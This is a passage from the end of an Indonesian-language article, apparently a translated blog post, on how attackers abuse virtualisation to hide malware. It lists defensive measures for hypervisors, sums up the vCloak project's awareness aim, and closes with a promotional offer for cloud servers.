tim keamanan siber. Menghilangkan beberapa perilaku jahat yang ditutupi oleh virtualisasi merupakan tantangan karena tidak ada yang terlihat di ruang virtual. Ada beberapa cara untuk menyoroti titik buta ini, tetapi saat ini tidak ada solusi standar atau asli semacam ini. Namun, jika Anda memeriksa seluruh rantai serangan, Anda dapat menemukan beberapa tindakan pencegahan yang sangat efektif untuk melawan virtualisasi jahat.
Apa yang bisa dilakukan / sumber daya tersedia:
- Tempatkan hypervisor di bawah kontrol RBAC / MAC yang ketat (implementasi Citrix )
- Kurangi permukaan serangan dengan menonaktifkan kemampuan yang berlebihan (misalnya berbagi berlebihan, yang umumnya dijelaskan dalam proyek Xen )
- Deteksi Anomali Tuan Rumah (ada studi akademis yang menarik tentang hal ini oleh Raja Abdulalize dan Stephen Walthusen)
Tersedia sebagian atau tidak tersedia:
- Visibilitas di dalam status mesin virtual
- Buat monitor mesin virtual
- Mengidentifikasi anomali dalam konsumsi sumber daya host oleh mesin virtual
Kesimpulan
Virtualisasi itu keren! Banyak hal inovatif dibangun di atas abstraksi yang disediakan oleh virtualisasi, seperti cloud, mesin titik akhir, dan bahkan mobil terbaru. Virtualisasi meningkatkan kinerja dan keamanan secara umum, tetapi juga memiliki sisi gelap. Seperti yang ditunjukkan oleh serangan dunia nyata baru-baru ini, dan seperti yang dibahas dalam artikel ini, penyerang dapat memanfaatkan banyak kemampuan virtualisasi. Penggunaan teknologi terbaru, khususnya VT-x dan sandboxing minimalis, membuat virtualisasi semakin halus.
Tujuan vCloak adalah untuk memberikan pengenalan praktis tentang masalah bagaimana virtualisasi dapat digunakan untuk menyebarkan malware secara tidak terlihat, sehingga pengguna mengetahui jenis ancaman ini dan dapat bertahan melawannya.
Artikel tersebut juga menyebutkan beberapa metode untuk menghilangkan ancaman yang tersedia saat ini, ditambah solusi yang direncanakan untuk masa depan. Peluang penting yang harus diterapkan untuk membuat perlindungan terhadap virtualisasi berbahaya menjadi tugas yang lebih menantang adalah meningkatkan transparansi proses yang terjadi di mesin virtual, serta menjaga netralisasi ancaman yang efektif. Industri keamanan siber sedang berkembang dan mengikuti solusi modern untuk virtualisasi, tetapi sekaranglah waktunya untuk waspada terhadap ancaman semacam itu dan membangun perlindungan terhadapnya terlebih dahulu.
Server cloud dari Macleod cepat dan aman.
Daftar menggunakan tautan di atas atau dengan mengklik spanduk dan dapatkan diskon 10% untuk bulan pertama menyewa server dengan konfigurasi apa pun!